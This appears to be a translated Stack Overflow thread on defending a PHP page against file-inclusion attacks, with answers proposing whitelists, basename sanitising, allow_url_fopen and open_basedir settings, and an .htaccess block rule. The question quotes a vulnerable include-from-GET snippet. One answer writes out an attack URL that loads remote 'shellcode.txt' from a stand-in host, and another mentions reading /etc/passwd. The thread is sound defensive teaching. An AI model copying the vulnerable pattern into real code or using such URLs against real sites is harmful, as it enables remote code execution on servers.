【问题标题】:Best way to avoid code injection in PHP在 PHP 中避免代码注入的最佳方法
【发布时间】:2010-09-07 12:31:10
【问题描述】:

我的网站最近被一个在我看来是无辜的代码攻击:

<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>

那里没有 SQL 调用,所以我不害怕 SQL 注入。但是,显然,SQL 并不是唯一的注入方式。

这个网站有一个解释和几个避免代码注入的例子:http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

您将如何保护此代码免受代码注入?

【问题讨论】:

    标签: php security code-injection


    【解决方案1】:

    使用白名单并确保页面在白名单中:

      $whitelist = array('home', 'page');
    
      if (in_array($_GET['page'], $whitelist)) {
            include($_GET['page'].'.php');
      } else {
            include('home.php');
      }
    

    【讨论】:

    • 如果可能,请避免完全动态地包含文件。 include,正如你所经历的,几乎和 eval 一样危险。
    【解决方案2】:

    清理输入的另一种方法是确保其中只有允许的字符(没有“/”、“.”、“:”、...)。但是不要为 bad 字符使用黑名单,而是为允许的字符使用白名单:

    $page = preg_replace('[^a-zA-Z0-9]', '', $page);
    

    ... 后跟一个 file_exists。

    这样您可以确保只执行您想要执行的脚本(例如,这将排除“blabla.inc.php”,因为不允许使用“.”)。

    注意:这是一种“hack”,因为用户可以执行“h.o.m.e”,它会给出“主页”页面,因为它所做的只是删除所有被禁止的字符。这并不是为了阻止那些想要在你的页面上添加可爱的东西的“聪明人”,但它会阻止人们做非常糟糕的事情。

    顺便说一句:您可以在 .htaccess 文件中做的另一件事是防止明显的攻击尝试:

    RewriteEngine on
    RewriteCond %{QUERY_STRING} http[:%] [NC]
    RewriteRule .* /–http– [F,NC]
    RewriteRule http: /–http– [F,NC]
    

    这样,所有使用“http:”url(和查询字符串)的页面访问都会导致“禁止”错误消息,甚至无法到达 php 脚本。这会减少服务器负载。

    但请记住,查询字符串中不允许出现“http”。在某些情况下(可能在填写表格时),您的网站可能需要它。

    顺便说一句:如果您能阅读德语:我也有一个关于该主题的blog post

    【讨论】:

    • 我现在对 htaccess 文件知之甚少。对于可以使用特殊字符和空格的路由系统,我有类似的东西。您能否发布一些被您的配置文件阻止的禁止 URL 示例?谢谢
    • 这种方法会比html特殊字符功能更好用吗?
    【解决方案3】:

    接受用户输入时的第一条规则始终是对其进行清理。在这里,您不会在将页面 GET 变量传递给包含之前对其进行清理。在包含该文件之前,您应该执行基本检查以查看该文件是否存在于您的服务器上。

    【讨论】:

    • 这仍然不能解决 =n 注入攻击!要对其进行清理,您需要确保输入是安全的、允许的文件。只有白名单就足够了。
    【解决方案4】:

    Pek,除了 sql 注入,甚至是不同类型的代码注入,还有很多事情需要担心。现在可能是深入了解 Web 应用程序安全性的好时机。

    moving from desktop to web development 的上一个问题中,我写道:

    OWASP Guide to Building Secure Web Applications and Web Services 应该是任何希望认真对待安全性的网络开发人员(应该是所有网络开发人员)的必读内容。在考虑安全性时,需要遵循许多原则来帮助形成所需的心态。

    如果您不适合阅读大篇幅文档,请观看几年前 Mike Andrews 在 Google 举办的关于 How To Break Web Software 的研讨会视频。

    【讨论】:

      【解决方案5】:

      我假设您处理同一目录中的文件:

      <?php
      if (isset($_GET['page']) && !empty($_GET['page'])) {
        $page = urldecode($_GET['page']);
        $page = basename($page);
        $file = dirname(__FILE__) . "/{$page}.php";
        if (!file_exists($file)) {
          $file = dirname(__FILE__) . '/home.php';
        }
      } else {
        $file = dirname(__FILE__) . '/home.php';
      }
      include $file;
      ?>
      

      这不是太漂亮,但应该可以解决您的问题。

      【讨论】:

      • 1.你不需要urldecode$_GET。 PHP 总是为你解码。您应该明确指出,basename 在这段代码中是至关重要的。没有它,攻击者可以从父目录中读取敏感文件。
      【解决方案6】:

      pek,对于短期修复,请应用其他用户建议的解决方案之一。对于中长期计划,您应该考虑迁移到现有的 Web 框架之一。它们以可靠、安全的方式处理所有低级内容,例如路由和文件包含,因此您可以专注于核心功能。

      不要重新发明轮子。使用框架。其中任何一个都比没有好。最初的学习时间投资几乎可以立即得到回报。

      【讨论】:

        【解决方案7】:

        到目前为止,一些不错的答案,还值得指出几个 PHP 细节:

        文件打开函数使用wrappers 来支持不同的协议。这包括通过本地 Windows 网络、HTTP 和 FTP 等打开文件的能力。因此,在默认配置中,原始问题中的代码可以轻松地用于打开 Internet 及其他地方的任意文件;当然,包括服务器本地磁盘上的所有文件(webbserver 用户可以读取)。 /etc/passwd 总是很有趣。

        安全模式和open_basedir 可用于限制特定目录之外的文件被访问。

        配置设置allow_url_fopen 也很有用,它可以在使用文件打开功能时禁用对文件的 URL 访问。 ini-set 可用于在运行时设置和取消设置此值。

        这些都是不错的后备安全防护,但请使用白名单来包含文件。

        【讨论】:

          【解决方案8】:

          我知道这是一篇非常古老的帖子,我希望您不再需要答案,但我仍然错过了一个非常重要的方面,恕我直言,我喜欢与其他阅读这篇文章的人分享。在基于变量值包含文件的代码中,您在字段值和请求结果之间建立了直接链接(页面变为 page.php)。我认为最好避免这种情况。 对某个页面的请求与该页面的交付之间存在差异。如果您做出这种区分,您可以使用非常好的 url,它们对用户和 SEO 非常友好。您可以创建一个类似于“Spinoza-Ethica”的 URL,而不是像“page”这样的字段值。这是白名单中的键或数据库表中的主键,将返回硬编码的文件名或值。除了普通的白名单之外,该方法还有几个优点:

          1. 后端响应实际上独立于前端请求。如果您想以不同的方式设置后端系统,则无需在前端进行任何更改。

          2. 始终确保以硬编码文件名或数据库中的等效文件名结尾(最好是存储过程的返回值),因为当您使用请求中的信息来构建回复。

          3. 由于您的 URL 独立于后端的交付,因此您永远不必为此类更改重写 htAccess 文件中的 URL。

          4. 呈现给用户的 URL 是用户友好的,告知用户文档的内容。

          5. 漂亮的 URL 对 SEO 非常有利,因为搜索引擎正在搜索相关内容,当您的 URL 与内容一致时,它会获得更好的速度。至少比您的内容与您的内容不符时更好。

          6. 如果您不直接链接到 php 文件,您可以在处理之前将漂亮的 URL 转换为任何其他类型的请求。这为程序员提供了更大的灵活性。

          7. 您必须清理请求,因为您从标准的不可信来源(Web 的其余部分)获取信息。仅使用好的 URL 作为可能的输入使 URL 的清理过程更加简单,因为您可以检查返回的 URL 是否符合您自己的格式。确保 nice URL 的格式不包含在漏洞利用中广泛使用的字符(如 ',",,-,&,; 等)。

          【讨论】:

            【解决方案9】:

            @pek - 这行不通,因为您的数组键是 0 和 1,而不是 'home' 和 'page'。

            我相信这段代码应该可以解决问题:

            <?php
            
            $whitelist = array(
              'home',
              'page',
            );
            
            if(in_array($_GET['page'], $whitelist)) {
              include($_GET['page'] . '.php');
            } else {
              include('home.php');
            }
            
            ?>
            

            由于您有一个白名单,因此也不需要file_exists()

            【讨论】:

              【解决方案10】:

              认为网址是这样的格式:

              www.yourwebsite.com/index.php?page=http://malicodes.com/shellcode.txt

              如果 shellcode.txt 运行 SQL 或 PHP 注入,那么您的网站将处于危险之中,对吗?考虑一下,使用白名单会有所帮助。

              有一种方法可以过滤所有变量以避免黑客攻击。您可以使用 PHP IDS 或 OSE 安全套件来帮助避免黑客攻击。安装安全套件后,您需要激活套件,这里是指南:

              http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

              我建议你打开二层保护,然后所有的POST和GET变量都会被过滤掉,尤其是我提到的那个,如果发现攻击,它会立即报告给你/

              安全永远是重中之重

              【讨论】:

                猜你喜欢
                • 2014-12-15
                • 1970-01-01
                • 1970-01-01
                • 1970-01-01
                • 1970-01-01
                • 2011-08-25
                • 1970-01-01
                • 2016-03-28
                • 1970-01-01
                相关资源
                最近更新 更多